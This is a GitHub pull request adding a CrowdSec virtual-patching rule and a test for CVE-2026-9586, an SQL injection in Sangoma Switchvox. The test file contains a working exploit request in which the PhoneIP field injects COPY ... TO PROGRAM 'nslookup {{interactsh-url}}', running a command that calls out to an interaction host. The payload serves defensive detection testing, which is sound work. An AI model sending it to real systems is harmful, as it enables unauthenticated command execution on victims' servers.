Skip to content

Add vpatch-CVE-2026-9586 rule and test #72

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
crowdsec-automation wants to merge 4 commits into
base: master
Choose a base branch
from
+62 −0
Open

Add vpatch-CVE-2026-9586 rule and test #72

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
4 commits
Select commit Hold shift + click to select a range
12d9a10
Add vpatch-CVE-2026-9586 rule
crowdsec-automation Sep 17, 2026
b9b98f6
Add vpatch-CVE-2026-9586 test config
crowdsec-automation Sep 17, 2026
49d1367
Add CVE-2026-9586.yaml test
crowdsec-automation Sep 17, 2026
bd65952
Add vpatch-CVE-2026-9586 rule to vpatch collection
crowdsec-automation Sep 17, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 21 additions & 0 deletions .appsec-tests/vpatch-CVE-2026-9586/CVE-2026-9586.yaml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
## autogenerated on 2026-09-17 09:12:10
id: CVE-2026-9586
info:
name: CVE-2026-9586
author: crowdsec
severity: info
description: CVE-2026-9586 testing
tags: appsec-testing
http:
- raw:
- |
POST /pa HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml

<request><PhoneIP>10.0.0.1'; COPY (SELECT '') TO PROGRAM 'nslookup {{interactsh-url}}'--</PhoneIP><command>tel_notify</command></request>
cookie-reuse: true
matchers:
- type: status
status:
- 403
5 changes: 5 additions & 0 deletions .appsec-tests/vpatch-CVE-2026-9586/config.yaml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
## autogenerated on 2026-09-17 09:12:10
appsec-rules:
- ./appsec-rules/crowdsecurity/base-config.yaml
- ./appsec-rules/crowdsecurity/vpatch-CVE-2026-9586.yaml
nuclei_template: CVE-2026-9586.yaml
35 changes: 35 additions & 0 deletions appsec-rules/crowdsecurity/vpatch-CVE-2026-9586.yaml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
## autogenerated on 2026-09-17 09:12:10
name: crowdsecurity/vpatch-CVE-2026-9586
description: 'Detects unauthenticated SQL injection in Sangoma Switchvox through the PhoneIP XML field.'
rules:
- and:
- zones:
- URI
transform:
- urldecode
- lowercase
match:
type: contains
value: '/pa'
- zones:
- BODY_ARGS
variables:
- PhoneIP
transform:
- urldecode
- lowercase
match:
type: contains
value: "'"

labels:
type: exploit
service: http
confidence: 3
spoofable: 0
behavior: 'http:exploit'
label: 'Sangoma Switchvox - SQLI'
classification:
- cve.CVE-2026-9586
- attack.T1059
- cwe.CWE-89
1 change: 1 addition & 0 deletions collections/crowdsecurity/appsec-virtual-patching.yaml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -130,6 +130,7 @@ appsec-rules:
- crowdsecurity/vpatch-CVE-2024-51977
- crowdsecurity/vpatch-CVE-2022-31499
- crowdsecurity/vpatch-CVE-2025-57819
- crowdsecurity/vpatch-CVE-2026-9586
- crowdsecurity/vpatch-CVE-2018-1207
- crowdsecurity/vpatch-CVE-2025-59528
- crowdsecurity/vpatch-CVE-2024-46506
Expand Down
Loading